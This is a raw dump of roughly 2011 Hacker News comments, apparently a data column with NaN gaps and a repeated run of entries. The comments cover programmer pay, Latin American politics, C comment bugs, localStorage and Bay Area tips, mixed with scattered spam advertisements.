dictatorship, nor has Uruguay, Venezuela, or Brazil, so I think that when you talk about \\\"the South American style of socialist dictatorships\\\" you are lying about history in hopes that your readers will be ignorant.  Maybe there's something that actually happened in the real world that that phrase is intended to refer to?\", \"Software, as Marc Andreesen said in his famous editorial, is becoming a larger and larger part of our daily lives. Given how important software is, then, you'd expect computer programmer - the task of developing and maintaining software - to be one of the highest-paid, most-wanted jobs. It isn't. Why not?<p>\\\"Hold on\\\", you say, \\\"isn't programming a high-paying job\\\"? Sure, next to the average American worker. But the average American worker is a college dropout. What if you compare programming to jobs for other highly skilled professionals?<p>Consider a 35-year-old, senior Google engineer. He probably makes about $150,000, which is enough to buy a good house and raise a family. But Google wouldn't hire a random guy to fill that job - this engineer probably has an Ivy League or other elite degree, fifteen years of work experience, a very high IQ, strong drive, and numerous other skills (anyone who's been through the Google hiring process can tell you how hard it is to get in).<p>As a doctor, however, someone like this - a top professional at the peak of their career - would probably make about $400,000. Partners at big law firms commonly net a million a year. Investment bankers are making several million (post-crash!). Top management consultants easily clear $500,000. Even a top accountant - probably a partner at a big 4 firm - would make two, three, or four times as much.<p>Of course, life isn't all about money. Is programming a top job from a social perspective? Again, no. Congress includes not a single programmer, and to my knowledge, it never has. Almost all big companies are run by MBAs. Even Microsoft, arguably the canonical software company, is run by a non-programmer from Stanford Business School.<p>Are programmers top government advisors? Are they national heroes? Do doctors and lawyers and policemen tell their children that, if they work hard and practice, one day they can grow up to be a programmer? No. Obviously not.<p>When the government wants to bring in more workers from overseas - which obviously lowers salaries, and reduces job security - who do they bring in? Computer programmers. Every single one of the top ten H1-B visa users is a technology company. Politicians justify this by talking about a \\\"shortage\\\" of programmers, but would there really be a \\\"shortage\\\" if programmers were paid $500K, as much as doctors or management consultants? Of course not. Saying there's a \\\"shortage\\\" is economically the same as saying that \\\"we don't want to pay you guys enough to meet the demand for labor\\\".<p>Now, to wrap off, since this is a startup site, doubtless someone is saying \\\"but programmers can make millions in startups!\\\". This, on the face of it, is true. However, as I'm sure any founder here can tell you, you can't make a successful startup just by being a good programmer. You have to, to quote Paul Graham, also \\\"answer support calls, administer the servers, design the web site, cold-call customers, find the company office space, and go out and get everyone lunch.\\\"<p>Now, if you're willing to do all that, and work the eighty-hour weeks a business requires, why do you need to be a programmer to make it rich? You don't. There are millions of ordinary small businesses - ditch diggers, electrical companies, contractors, roofers, construction firms, and on and on - that, if run well, will make you millions without a single line of code. (For more on these sorts of business, check out, eg., the book The Millionaire Next Door.) What \\\"programmers can get rich in startups\\\" really means is \\\"entrepreneurs can get rich in startups\\\", whether they're programmers or bricklayers.<p>So, why is this the case, given how important software is to the world? I think the answer is hidden in the rest of my post. Notice how I've been arguing <i>for</i> more pay, job security, etc. for programmers. A majority of the people here are probably programmers. Yet, my tone is pretty argumentative; I expect people to disagree with me, and am trying to answer their objections.<p>Why is that? On the face of it, it's very strange. If you went to a welder's union, and argued that welding wasn't respected enough and should be better paid, you'd expect to see loud cries of agreement. If you talked about better wages for teachers or policemen or nurses - all of whom make more than the American average - who would dispute it?<p>But for some reason, unlike just about every other profession, programmers seem to have an aversion to asking for more pay and more respectability. It would seem selfish, somehow - a programmer making $80,000 feels he shouldn't ask for more, since he's already making double the US average of $40,000. (Even though, when a teacher making $80,000 (as many of them do) asks for more, no one disagrees.) And you could argue that this is selfish, even though it's the sort of selfishness America usually endorses. After all, when the miner's union strikes for better working conditions, aren't they being selfish? They're acting in their own self-interest, trying to benefit themselves.<p>So, if you don't like being selfish, is there a reason to make programming one of America's top jobs? I think there is. For the last ten years, the people running the US have been other, non-technical top professionals - lawyers, management consultants, investment bankers, MBAs. And it hasn't worked. The economy is in the toilet, the budget isn't balanced, the government can't get anything done, we're in two wars we can't get out of, and some days it feels like the country is falling apart at the seams.<p>By contrast, when you look at Silicon Valley, where a lot of the top programmers live and run the local industry, everyone is doing great. Profits are up, unemployment is down, companies are getting started, and user growth is through the roof. Might this be a coincidence? I think it isn't. And for proof, look no further than China. All of China's top leaders are engineers, not lawyers or financiers or consultants. And China's been doing great. They've had steady, 10% annual economic growth - triple the US's, even in good times - for the last thirty years. Sure, they have problems with pollution and corruption, but so did the US when we were industrializing. Overall, though, they're on the right track, and the US is not (according to 85% of Americans anyway).<p>Of course, that isn't to say that most non-programmers are stupid or immoral, or that we shouldn't have any lawyers in government. Any well-run society has a mix of people at the top, because of specialization of labor. But is the optimal number of programmers in Congress really zero? Is it good for the country that Silicon Valley, arguably the best-performing sector of the economy, has next to no influence in politics, so that laws like the DMCA get passed even when the whole hacker community is violently opposed? I think it isn't. I think the country would be better off if MIT computer science students, like their neighbors at Harvard Law School, could dream of growing up to be President. And I think we'd all be better of if computer science wasn't just seen as a major for socially awkward nerds.<p>(Original WSJ editorial I'm referencing at http://online.wsj.com/article/SB10001424053111903480904576512250915629460.html. I've been on HN since '08, but using a throwaway in case anyone gets mad.)\", \"That doesn't sound too surprising based on the typical price of construction materials between then and now, (oil for example has increased by about 35% since then). There may have also been project changes and/or additions that also contributed to the higher estimate.\", \"/second T-mobile for those reasons, <3 em.  You can also use your phone's wireless hotspot feature to help your friends connect their computers and phones to the net in non-wifi areas.  I've done this a few times, like at Coupa Cafe on the weekends (when they turn off wifi) and the Caltrain's deadspots.<p>Just another reason to oppose the ATT merger attempt.  No doubt ATT will ruin all that if they get their grubby hands on TMo.\", NaN, NaN, \"Direct link: <a href=\\\"http://go.hodspot.com/2011/08/every-few-years-i-have-privilege-to-be.html\\\" rel=\\\"nofollow\\\">http://go.hodspot.com/2011/08/every-few-years-i-have-privile...</a>\", NaN, \"Indeed. What's a wrapper function's overhead compared to <i>opening a file</i>, which subsequently will be <i>written</i> to?<p>Frankly, I wish this sort of blog post wouldn't be upvoted here. It's one thing when someone asks a basic question on StackOverflow. Even experienced programmers can learn with the answers. But when someone writes an \\\"authoritative\\\" blog post that misses the basics, it's more noise than signal.\", \"May i suggest my own secure system:\\\\nIt is well known that the weakest part in any security system is the password, not many remember them and most of the people (especially the average ones) just hand write them and stick on the monitor.\\\\nSolution- create a system of your own inside your brain to remember a password, do not use a software, application, stick note or else. use your own brain.\", \"I'm almost done with my internship here in San Francisco, and it's been a great experience. I've heard people like Steve Souders and Brendan Eich speak and I spent a night hacking at the Computer History Museum (thanks to Mozilla) amongst other things. I found meetup.com, sftechtalks.com and the several tech related meetup groups to be a great resource as well. Attend them for the talks and as a bonus, get free food and drinks (mostly pizza just like in college) and goodies as well! Live life like a true (cheap) grad student!\", NaN, \"\\\"That has a performance impact on all platforms...\\\"\\\\nI mean, tmpfile() is about to make AT LEAST one system call, access the disk, and do a bunch of stuff he has no control over whatsoever, yet he's worried about one extra CALL instruction. Talk about premature optimization..  (and incompetence, if you will).\", \"LinkedIn is on track to become the MySpace of professional networking.\", \"<i>I also want it to continue the non-conflicting files while I'm deciding.</i><p>Windows 7 does it, so I imagine it wouldn't regress in Windows 8.\", NaN, \"If only.<p>(Humor always turns into something else online. Oops.)\", \"CECOR, la empresa de insonorizacin local ofrece excelentes servicios en materia deaislamiento acustico, aislamiento acustico, control de ruido y de medicin. Ofrecemosnuestros servicios a nivel local y mundial.\", NaN, NaN, \"Mac Blu-ray Ripper supports rip Blu-ray disc movie to mov, mp4, mpg, mpeg, m4v, dv, avi, mkv, flv, vob, rm on Mac OS X Snow Leopard, 10.6.\", NaN, NaN, \"Download Circumstance movie or Watch Circumstance online in just few second with HD/DVD/ipod/divX quality. Watch all new release movies trailer and download movies with moviesbunch.com.\", \"My thinking has changed and became more mature when I started reading in the body of Philosophy and Science... I find the following the most enlightening books I've read so far...<p>Tim Crane - The Mechanical Mind<p>Alex Rosenberg - Philosophy of Science<p>Seth Lloyd - Programming the Universe<p>Richard Dawkins - The God Delusion<p>Daniel Dennett - The Mind's I<p>Daniel Dennett - Breaking the Spell<p>Michael Shermer - Why People Believe Weird Things\", NaN, NaN, NaN, \"Find out how agency networking and new technology, like homecare software, can help your home health agency be successful from the CuroSphere blog.\", \"Get a credit check online and learn how you can improve your credit rating. Get an instant credit report now.\", NaN, \"Congrats to all!<p>Among the revealed ones I am most excited about (and would invest in) Parse -- solves a real problem, it is easy to see how it can be commercially viable, and there is very little technology risk. Kind of wish I had thought of it. An obvious target to be acqhired by one of the PaaS vendors.\", \"I wonder when exactly it was that TechCrunch was like, \\\"wow, all we really need to do is write YC articles all day.\\\" They're playing this site like a violin.\", \"<a href=\\\"http://launcheffectapp.com\\\" rel=\\\"nofollow\\\">http://launcheffectapp.com</a> - A Wordpress theme for viral launches. Haven't tried it, looks nice though!\", NaN, \"After our renovation the red south beach hotel is ready again to provide a premier service. The elegance and baroque style of this hotel in south beach will delight you.  The Red will provide the marquis treatment you deserve.\", \"Yes, you can have multiple copy operating running in parallel but the way Windows works, the files themselves are copied in serial order (within an individual copy operation). Whereas with tools like RichCopy, you are actually copying multiple files in parallel.<p>See here for example; <a href=\\\"http://msinetpub.vo.llnwd.net/d1/keithcombs/blog/images/RichCopybulkfilecopytoolreleasedgetither_11531/RichCopy_thumb.jpg\\\" rel=\\\"nofollow\\\">http://msinetpub.vo.llnwd.net/d1/keithcombs/blog/images/Rich...</a><p>This is incredibly useful when you need to copy folders with a lot of (smaller) files. Think pictures, music, etc.\", \"Khwabon Khwabon Song Force Movie\", \"For what it's worth, OS X does this <a href=\\\"http://cl.ly/9ZeF\\\" rel=\\\"nofollow\\\">http://cl.ly/9ZeF</a>\", NaN, \"Senior pictures by David Zwick that that are expressive, stylish, and bold ... and absoultey all about YOU.\", NaN, \"Recent uptick. LinkedIn will also \\\"flag\\\" recommendations from being tit-for-tat, meaning, the \\\"savvy\\\" now wait a week or several days before \\\"returning the favor.\\\" Ergo, recommendation quality does not mean as much as pre-IPO (IMO). It is also saturated as of late by more spammy recruiters (I'm a recruiter..value out of LinkedIn recruiting has dropped dramatically since IPO due to the flood).<p>LinkedIn, however, is the \\\"disruptive\\\" potential company in the third-party recruiting space. It will be interesting to see if they do so :)<p>They made a bit dent in many contingent recruiters introducing pay-for-job posting (versus posting jobs in groups, which is SPAM heavy).<p>LinkedIn answers and groups, however, has gone the way of mostly spam or, those trying to establish \\\"LinkedIn\\\" expert status' (statusi? :D). I believe many thought that owning a large group would somehow lead to monetization. Currently, groups are only moderated by the group leaders, with LinkedIn more hands-off in the approach, killing nice networking potentials.<p>As a caveat, day job = LinkedIn recruiting on a 10% basis,  whereas off work, I like to actually interact with the groups, Answers (not lately due to poor quality) and connect with interesting people unrelated to technical recruiting.\", \"Dude - you are asking a lot of questions here. Each one of your questions has a whole book (or many books) written on them.<p>I interpret what you are asking as 'How do I run a successful business?'<p>Not enough space to answer here.\", \"Thanks for PadMapper!\", \"23 Must-Have Gadgets For Students\", \"this was also pg's argument when i asked him to remove some postings made with another account that accidentally revealed confidential info about a friend's company, so i considered this would be fair game.<p>EDIT: post deleted -> put the info on twitter for those interested.\", \"But OS X did have the consolidation of file transfer dialog boxes for a long time.<p>(Although it still has woeful conflict resolution <a href=\\\"http://cl.ly/9Zqg\\\" rel=\\\"nofollow\\\">http://cl.ly/9Zqg</a>)\", \"if you look better the form factor is more like an amazon kindle. Which makes me fell damn cool when using one.\", \"I'm not an intern.  I've lived in the Bay Area for 6 yrs.  If you have a summer, aren't from the area, and want to spend a little time doing some stuff outdoors, here's what I'd add:<p>- Go walk around a old growth Redwood grove.  It's peaceful, impressive, and gives you an interesting perspective.  Big Basin is the most accessible: From 101, take the Lawrence Expwy exit and just head south for a long while.  There is a great little .5 mile \\\"trail\\\" with some of the most impressive trees.<p>- Drive down to the Big Sur area.  It's about 2hrs drive from the Mtn View area, so a day trip.  The drive is the highlight, but check out McWay falls (flat 0.3 mi hike) and Pfeiffer Beach (purple sand, natural arch with waves/sunset coming through).  Pfeiffer Beaches turnoff is unmarked, so research in advance.<p>- Tour Alcatraz.  Plan this at least a week in advance though.<p>- Rent a kayak and spend an afternoon on Elkhorn Slough in Monterey Bay.  No experience necessary.  Kayaking right past sea lions and otters is guaranteed.  Visit Phil's Fish Market next door in Moss Landing when done.<p>- Visit Yosemite valley.  You can generally get a tent cabin in Curry Village with almost no lead time for a reasonable price.  Yosemite Valley is crowded but truly iconic.<p>Other than Yosemite, all of these are easy day trips.\", \"What I do is I turn on my compilers warnings for C++ comments in C code, then use C++ comments with all my TODO comments.  That way I know if there are any outstanding TODOs when I go to build.\", \"I loved the punchline, & probably wouldn't have spotted that one myself.<p>As others have noted, the moral is to not use C++ '//' style comments in C code or at least hope that you are using a clever editor ;)\", NaN, \"Burberrys Cologne by Burberrys, burberrys is classified as a sharp, spicy, lavender, amber fragrance. This masculine scent possesses a blend of mint, lavender, sandalwood, cedar, and rich amber. It is recommended for casual wear. The scent is described as a fresh woody cologne. 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This is where Rapid Dry Carpet Care has highly trained technicians who specialize in flood cleanup and water damage control, available 24 hours a day, seven days a week.\", \"If the value you place on the friendship is greater than the amount owed, forgive the debt and ask your friend to just help out someone in need one day when he is able.<p>If the value you place on the friendship is less than the amount owed, bring out the lawyers.\", \"\\\"What to Submit On-Topic: Anything that good hackers would find interesting.\\\" [1]<p>I agree about this being an insane premature optimization, but the C:\\\\ being a bug regarding line continuation within comments? That's fucking fascinating.<p>[1] <a href=\\\"http://ycombinator.com/newsguidelines.html\\\" rel=\\\"nofollow\\\">http://ycombinator.com/newsguidelines.html</a>\", NaN, \"That is a pretty bad Photoshop job on that first iPad.\", \"emacs unfortunately fails on the trigraph-sequence \\\"??/\\\" and ofcourse the line immediately following doesn't get executed. having AST based syntax hi-lighting would of course fix the issue. most editors, afaik, used hacked together regexe's which break-down under various conditions.\", \"Id add that the localStorage setter (localStorage.item = someValue) is up to 2x faster than setItem:<p><a href=\\\"http://jsperf.com/localstorage-getitem-setitem-vs-getter-setter\\\" rel=\\\"nofollow\\\">http://jsperf.com/localstorage-getitem-setitem-vs-getter-set...</a><p>Also, a small gotcha some may face is:<p>typeof localStorage.undefinedItem === undefined\\\\nlocalStorage.getItem(undefinedItem) === null<p>Additionally, since WebKits localStorage stores strings encoded as UTF-16, it only holds 2.5MB worth of UTF-8 encoded strings, compared to the 5MB of other non-WebKit browsers.<p><a href=\\\"http://code.google.com/p/chromium/issues/detail?id=58985#hc15\\\" rel=\\\"nofollow\\\">http://code.google.com/p/chromium/issues/detail?id=58985#hc1...</a>\\\\n<a href=\\\"http://stackoverflow.com/questions/2747285/html5-localstorage-restrictions-and-limits\\\" rel=\\\"nofollow\\\">http://stackoverflow.com/questions/2747285/html5-localstorag...</a>\\\\n<a href=\\\"http://jsfiddle.net/brucealdridge/j6KdJ/\\\" rel=\\\"nofollow\\\">http://jsfiddle.net/brucealdridge/j6KdJ/</a><p>Check for the QUOTA_EXCEEDED_ERR exception in this case:<p><a href=\\\"http://dev.w3.org/html5/webstorage/#the-storage-interface\\\" rel=\\\"nofollow\\\">http://dev.w3.org/html5/webstorage/#the-storage-interface</a><p>Additionally, as stated in the chromium issue aboves comments, localStorage performance degrades as size increases and is considered slower than IndexedDB, though with the benefit of a FAR SIMPLER API and broader browser support (IE8, FF3.5, S4, Chr4, O10.5).<p><a href=\\\"https://developer.mozilla.org/en/dom/storage#Browser_Compatibility\\\" rel=\\\"nofollow\\\">https://developer.mozilla.org/en/dom/storage#Browser_Compati...</a>\", \"My Picks for:<p>- Most likely to succeed in a big way: Parse<p>- Most interesting/clever (want it to succeed): Verbling<p>- Most scary (wary of it succeeding): Double Recall\", NaN, NaN, NaN, NaN, \"This is a startling array of claims, which is unfortunate, as there's a reasonable debate to be had here.<p>Unfortunately, I think starting off with a tl;dr rant, including such howlers as comparing the growth rate of a developing and a developed country isn't the way to get going, not to mention citing Microsoft's <i>current</i> leadership as evidence that programmers can't get anywhere. Erm, I vaguely recall someone else running Microsoft on its way to success... Bill someone?<p>As an aside, given the vast amount of political crackpottery - plenty of which is in evidence here at HN - among programmers, I have to say that I'm not hugely saddened that congress isn't stuffed with developers.<p>There's a serious debate to be had here, but not with this wild, ranting start from a throwaway account.\", NaN, NaN, \"Hey Raj. I live in SF currently and would love to meet up and show you around... reach out at martin at UpOut.com\", NaN, \"Charles de Gaulle did something similar in 1965, but he was importing gold from the US, not from England.<p>Argentina had a similar problem in 1946: its central bank \\\"reserves\\\" were actually held in trust by the Bank of England, in large part as a result of Argentina feeding England through the war, and England (as I understand it) couldn't come up with the cash.  The eventual solution was to exchange the reserves for the British-owned railways of Argentina, which unfortunately couldn't be exported in trade to import the things Argentina needed.<p>I could be nave, but I think keeping your central bank's reserves overseas in a possibly hostile country is a dumb idea.  Chvez doesn't seem to have done a very good job at New-Dealing his country, but he does get some things right.\", \"I dont understand the difference between a closure and an object's state. Is an object one example of a closure? You can pass it around and it contains instance variables.<p>What are lambdas for in this context? Simply calling the object's attribute would return the value set at creation - even if modified afterwards.\", \"W4S is an extremely insidious hitpiece on teachers and unions and was universally criticized by most teachers. Like any documentary with an agenda it extrapolates a few datapoints and says, \\\"look, here is your problem, just get rid of items 1, 2, 3 and everything will work\\\".<p>The kafkaesque dismissal process you allude to is the same in most union jobs. 1: written warning, 2: written warning with training, 3: teacher review board. That's it. The administrator knows this and the teachers know this so I don't see how it is kafkaesque in the slightest. The only way to shortcut that is if the teacher did something illegal like sleep with the students or possess child porn.<p>I also read the piece on the Rubber Room and the reason why the teachers were there was because the administrators were too lazy to actually start the dismissal process. From the same NYT article I read that some teachers should have been fired but hadn't and others shouldn't be there at all but butted heads with the administrators. They were put there because there was a procedure in place but no one wanted to follow it.<p>You work at a large enough company you'll get an employee manual on ways you can be fired and the procedure in place to do so. That is what wasn't happening in the Rubber Room case.\", \"Mobile Prices in Pakistan\", \"Am I the only one who still uses Total Commander instead of Windows Explorer whenever possible?\\\\nI'd love to see this multiple-jobs-in-movecopy-queue functionality in it, but in all other situations it suits me so much better.\", NaN, \"For those with WebGL, this is helpful to visualise:<p><a href=\\\"http://data-arts.appspot.com/globe\\\" rel=\\\"nofollow\\\">http://data-arts.appspot.com/globe</a>\", NaN, \"I'd be interested in seeing benchmarks that demonstrate an improvement when doing this. I'd expect that the average case is slower due to increased disk contention.\", \"Thanks for the code from this indie developer!\", NaN, \"Hi guys,<p>I am coming to San Francisco in Sept for two months to promote my startup: recruiterbox.com. I would love to meet startups and small tech companies, goto some fun and interesting events, and get feedback on our application.<p>I would appreciate tips on areas to live within the city (easy to commute to lot of useful places) and certain must be at events and meets. Any other useful info from startuppers working on saas tools and serving similar markets would be super appreciated!<p>Thanks,\\\\nRaj\", \"DZSlides by Paul Rouget has that feature: <a href=\\\"http://paulrouget.com/dzslides/\\\" rel=\\\"nofollow\\\">http://paulrouget.com/dzslides/</a>\", \"Your comment is fiction almost from beginning to end.<p>Venezuela is not a dictatorship; it's been a democracy since 1958.  It's true that it's socialist, just like Canada and France, but it's struggling with much bigger problems of corruption, illiteracy, poverty, and crime than those countries are.  I don't think Chvez has improved the situation much.  Chvez's government may not be a very good democratic government, but it is at least a democracy. The opposition is even worse, which is why they don't get elected.<p>I live in Argentina.  The country has immense potential, but it's been in intermittent decline since the 1930s.  It has never had a Marxist government.  The periods of rapid decline have largely coincided with right-wing military dictatorships, although there have been a few major disasters under democratic governments as well, notably the 2001 economic collapse produced by the unsustainable 1990s economic policies you are commending.<p>It's useless to blame \\\"class warfare\\\" for the problems.  Even if it's true that the rich are in a state of war with the rest of society (and I think it's a substantial exaggeration; expatriating your ill-gotten gains, making racist remarks about Paraguayan immigrants, and hiring employees under the table does not rise to the level of <i>warfare</i>) the path to reconciliation is through building a society they feel proud to be included in and confident in investing in, not blaming them for the social problems we all have a hand in creating.<p>Chile has barely surpassed Argentina economically after 80 years of Argentine decline.  It's true that it has a more functioning economy, but I'm not sure that the society as a whole is functioning better.<p>Chile also never had a socialist dictatorship, nor has Uruguay, Venezuela, or Brazil, so I think that when you talk about \\\"the South American style of socialist dictatorships\\\" you are lying about history in hopes that your readers will be ignorant.  Maybe there's something that actually happened in the real world that that phrase is intended to refer to?\", \"Software, as Marc Andreesen said in his famous editorial, is becoming a larger and larger part of our daily lives. Given how important software is, then, you'd expect computer programmer - the task of developing and maintaining software - to be one of the highest-paid, most-wanted jobs. It isn't. Why not?<p>\\\"Hold on\\\", you say, \\\"isn't programming a high-paying job\\\"? Sure, next to the average American worker. But the average American worker is a college dropout. What if you compare programming to jobs for other highly skilled professionals?<p>Consider a 35-year-old, senior Google engineer. He probably makes about $150,000, which is enough to buy a good house and raise a family. But Google wouldn't hire a random guy to fill that job - this engineer probably has an Ivy League or other elite degree, fifteen years of work experience, a very high IQ, strong drive, and numerous other skills (anyone who's been through the Google hiring process can tell you how hard it is to get in).<p>As a doctor, however, someone like this - a top professional at the peak of their career - would probably make about $400,000. Partners at big law firms commonly net a million a year. Investment bankers are making several million (post-crash!). Top management consultants easily clear $500,000. Even a top accountant - probably a partner at a big 4 firm - would make two, three, or four times as much.<p>Of course, life isn't all about money. Is programming a top job from a social perspective? Again, no. Congress includes not a single programmer, and to my knowledge, it never has. Almost all big companies are run by MBAs. Even Microsoft, arguably the canonical software company, is run by a non-programmer from Stanford Business School.<p>Are programmers top government advisors? Are they national heroes? Do doctors and lawyers and policemen tell their children that, if they work hard and practice, one day they can grow up to be a programmer? No. Obviously not.<p>When the government wants to bring in more workers from overseas - which obviously lowers salaries, and reduces job security - who do they bring in? Computer programmers. Every single one of the top ten H1-B visa users is a technology company. Politicians justify this by talking about a \\\"shortage\\\" of programmers, but would there really be a \\\"shortage\\\" if programmers were paid $500K, as much as doctors or management consultants? Of course not. Saying there's a \\\"shortage\\\" is economically the same as saying that \\\"we don't want to pay you guys enough to meet the demand for labor\\\".<p>Now, to wrap off, since this is a startup site, doubtless someone is saying \\\"but programmers can make millions in startups!\\\". This, on the face of it, is true. However, as I'm sure any founder here can tell you, you can't make a successful startup just by being a good programmer. You have to, to quote Paul Graham, also \\\"answer support calls, administer the servers, design the web site, cold-call customers, find the company office space, and go out and get everyone lunch.\\\"<p>Now, if you're willing to do all that, and work the eighty-hour weeks a business requires, why do you need to be a programmer to make it rich? You don't. There are millions of ordinary small businesses - ditch diggers, electrical companies, contractors, roofers, construction firms, and on and on - that, if run well, will make you millions without a single line of code. (For more on these sorts of business, check out, eg., the book The Millionaire Next Door.) What \\\"programmers can get rich in startups\\\" really means is \\\"entrepreneurs can get rich in startups\\\", whether they're programmers or bricklayers.<p>So, why is this the case, given how important software is to the world? I think the answer is hidden in the rest of my post. Notice how I've been arguing <i>for</i> more pay, job security, etc. for programmers. A majority of the people here are probably programmers. Yet, my tone is pretty argumentative; I expect people to disagree with me, and am trying to answer their objections.<p>Why is that? On the face of it, it's very strange. If you went to a welder's union, and argued that welding wasn't respected enough and should be better paid, you'd expect to see loud cries of agreement. If you talked about better wages for teachers or policemen or nurses - all of whom make more than the American average - who would dispute it?<p>But for some reason, unlike just about every other profession, programmers seem to have an aversion to asking for more pay and more respectability. It would seem selfish, somehow - a programmer making $80,000 feels he shouldn't ask for more, since he's already making double the US average of $40,000. (Even though, when a teacher making $80,000 (as many of them do) asks for more, no one disagrees.) And you could argue that this is selfish, even though it's the sort of selfishness America usually endorses. After all, when the miner's union strikes for better working conditions, aren't they being selfish? They're acting in their own self-interest, trying to benefit themselves.<p>So, if you don't like being selfish, is there a reason to make programming one of America's top jobs? I think there is. For the last ten years, the people running the US have been other, non-technical top professionals - lawyers, management consultants, investment bankers, MBAs. And it hasn't worked. The economy is in the toilet, the budget isn't balanced, the government can't get anything done, we're in two wars we can't get out of, and some days it feels like the country is falling apart at the seams.<p>By contrast, when you look at Silicon Valley, where a lot of the top programmers live and run the local industry, everyone is doing great. Profits are up, unemployment is down, companies are getting started, and user growth is through the roof. Might this be a coincidence? I think it isn't. And for proof, look no further than China. All of China's top leaders are engineers, not lawyers or financiers or consultants. And China's been doing great. They've had steady, 10% annual economic growth - triple the US's, even in good times - for the last thirty years. Sure, they have problems with pollution and corruption, but so did the US when we were industrializing. Overall, though, they're on the right track, and the US is not (according to 85% of Americans anyway).<p>Of course, that isn't to say that most non-programmers are stupid or immoral, or that we shouldn't have any lawyers in government. Any well-run society has a mix of people at the top, because of specialization of labor. But is the optimal number of programmers in Congress really zero? Is it good for the country that Silicon Valley, arguably the best-performing sector of the economy, has next to no influence in politics, so that laws like the DMCA get passed even when the whole hacker community is violently opposed? I think it isn't. I think the country would be better off if MIT computer science students, like their neighbors at Harvard Law School, could dream of growing up to be President. And I think we'd all be better of if computer science wasn't just seen as a major for socially awkward nerds.<p>(Original WSJ editorial I'm referencing at http://online.wsj.com/article/SB10001424053111903480904576512250915629460.html. I've been on HN since '08, but using a throwaway in case anyone gets mad.)\", \"That doesn't sound too surprising based on the typical price of construction materials between then and now, (oil for example has increased by about 35% since then). There may have also been project changes and/or additions that also contributed to the higher estimate.\", \"/second T-mobile for those reasons, <3 em.  You can also use your phone's wireless hotspot feature to help your friends connect their computers and phones to the net in non-wifi areas.  I've done this a few times, like at Coupa Cafe on the weekends (when they turn off wifi) and the Caltrain's deadspots.<p>Just another reason to oppose the ATT merger attempt.  No doubt ATT will ruin all that if they get their grubby hands on TMo.\", NaN, NaN, \"Direct link: <a href=\\\"http://go.hodspot.com/2011/08/every-few-years-i-have-privilege-to-be.html\\\" rel=\\\"nofollow\\\">http://go.hodspot.com/2011/08/every-few-years-i-have-privile...</a>\", NaN, \"Indeed. What's a wrapper function's overhead compared to <i>opening a file</i>, which subsequently will be <i>written</i> to?<p>Frankly, I wish this sort of blog post wouldn't be upvoted here. It's one thing when someone asks a basic question on StackOverflow. Even experienced programmers can learn with the answers. But when someone writes an \\\"authoritative\\\" blog post that misses the basics, it's more noise than signal.\", \"May i suggest my own secure system:\\\\nIt is well known that the weakest part in any security system is the password, not many remember them and most of the people (especially the average ones) just hand write them and stick on the monitor.\\\\nSolution- create a system of your own inside your brain to remember a password, do not use a software, application, stick note or else. use your own brain.\", \"I'm almost done with my internship here in San Francisco, and it's been a great experience. I've heard people like Steve Souders and Brendan Eich speak and I spent a night hacking at the Computer History Museum (thanks to Mozilla) amongst other things. I found meetup.com, sftechtalks.com and the several tech related meetup groups to be a great resource as well. Attend them for the talks and as a bonus, get free food and drinks (mostly pizza just like in college) and goodies as well! Live life like a true (cheap) grad student!\", NaN, \"\\\"That has a performance impact on all platforms...\\\"\\\\nI mean, tmpfile() is about to make AT LEAST one system call, access the disk, and do a bunch of stuff he has no control over whatsoever, yet he's worried about one extra CALL instruction. Talk about premature optimization..  (and incompetence, if you will).\", \"LinkedIn is on track to become the MySpace of professional networking.\", \"<i>I also want it to continue the non-conflicting files while I'm deciding.</i><p>Windows 7 does it, so I imagine it wouldn't regress in Windows 8.\", NaN, \"If only.<p>(Humor always turns into something else online. Oops.)\", \"CECOR, la empresa de insonorizacin local ofrece excelentes servicios en materia deaislamiento acustico, aislamiento acustico, control de ruido y de medicin. Ofrecemosnuestros servicios a nivel local y mundial.\", NaN, NaN, \"Mac Blu-ray Ripper supports rip Blu-ray disc movie to mov, mp4, mpg, mpeg, m4v, dv, avi, mkv, flv, vob, rm on Mac OS X Snow Leopard, 10.6.\", NaN, NaN, \"Download Circumstance movie or Watch Circumstance online in just few second with HD/DVD/ipod/divX quality. Watch all new release movies trailer and download movies with moviesbunch.com.\", \"My thinking has changed and became more mature when I started reading in the body of Philosophy and Science... I find the following the most enlightening books I've read so far...<p>Tim Crane - The Mechanical Mind<p>Alex Rosenberg - Philosophy of Science<p>Seth Lloyd - Programming the Universe<p>Richard Dawkins - The God Delusion<p>Daniel Dennett - The Mind's I<p>Daniel Dennett - Breaking the Spell<p>Michael Shermer - Why People Believe Weird Things\", NaN, NaN, NaN, \"Find out how agency networking and new technology, like homecare software, can help your home health agency be successful from the CuroSphere blog.\", \"Get a credit check online and learn how you can improve your credit rating. Get an instant credit report now.\", NaN, \"Congrats to all!<p>Among the revealed ones I am most excited about (and would invest in) Parse -- solves a real problem, it is easy to see how it can be commercially viable, and there is very little technology risk. Kind of wish I had thought of it. An obvious target to be acqhired by one of the PaaS vendors.\", \"I wonder when exactly it was that TechCrunch was like, \\\"wow, all we really need to do is write YC articles all day.\\\" They're playing this site like a violin.\", \"<a href=\\\"http://launcheffectapp.com\\\" rel=\\\"nofollow\\\">http://launcheffectapp.com</a> - A Wordpress theme for viral launches. Haven't tried it, looks nice though!\", NaN, \"After our renovation the red south beach hotel is ready again to provide a premier service. The elegance and baroque style of this hotel in south beach will delight you.  The Red will provide the marquis treatment you deserve.\", \"Yes, you can have multiple copy operating running in parallel but the way Windows works, the files themselves are copied in serial order (within an individual copy operation). Whereas with tools like RichCopy, you are actually copying multiple files in parallel.<p>See here for example; <a href=\\\"http://msinetpub.vo.llnwd.net/d1/keithcombs/blog/images/RichCopybulkfilecopytoolreleasedgetither_11531/RichCopy_thumb.jpg\\\" rel=\\\"nofollow\\\">http://msinetpub.vo.llnwd.net/d1/keithcombs/blog/images/Rich...</a><p>This is incredibly useful when you need to copy folders with a lot of (smaller) files. Think pictures, music, etc.\", \"Khwabon Khwabon Song Force Movie\", \"For what it's worth, OS X does this <a href=\\\"http://cl.ly/9ZeF\\\" rel=\\\"nofollow\\\">http://cl.ly/9ZeF</a>\", NaN, \"Senior pictures by David Zwick that that are expressive, stylish, and bold ... and absoultey all about YOU.\", NaN, \"Recent uptick. LinkedIn will also \\\"flag\\\" recommendations from being tit-for-tat, meaning, the \\\"savvy\\\" now wait a week or several days before \\\"returning the favor.\\\" Ergo, recommendation quality does not mean as much as pre-IPO (IMO). It is also saturated as of late by more spammy recruiters (I'm a recruiter..value out of LinkedIn recruiting has dropped dramatically since IPO due to the flood).<p>LinkedIn, however, is the \\\"disruptive\\\" potential company in the third-party recruiting space. It will be interesting to see if they do so :)<p>They made a bit dent in many contingent recruiters introducing 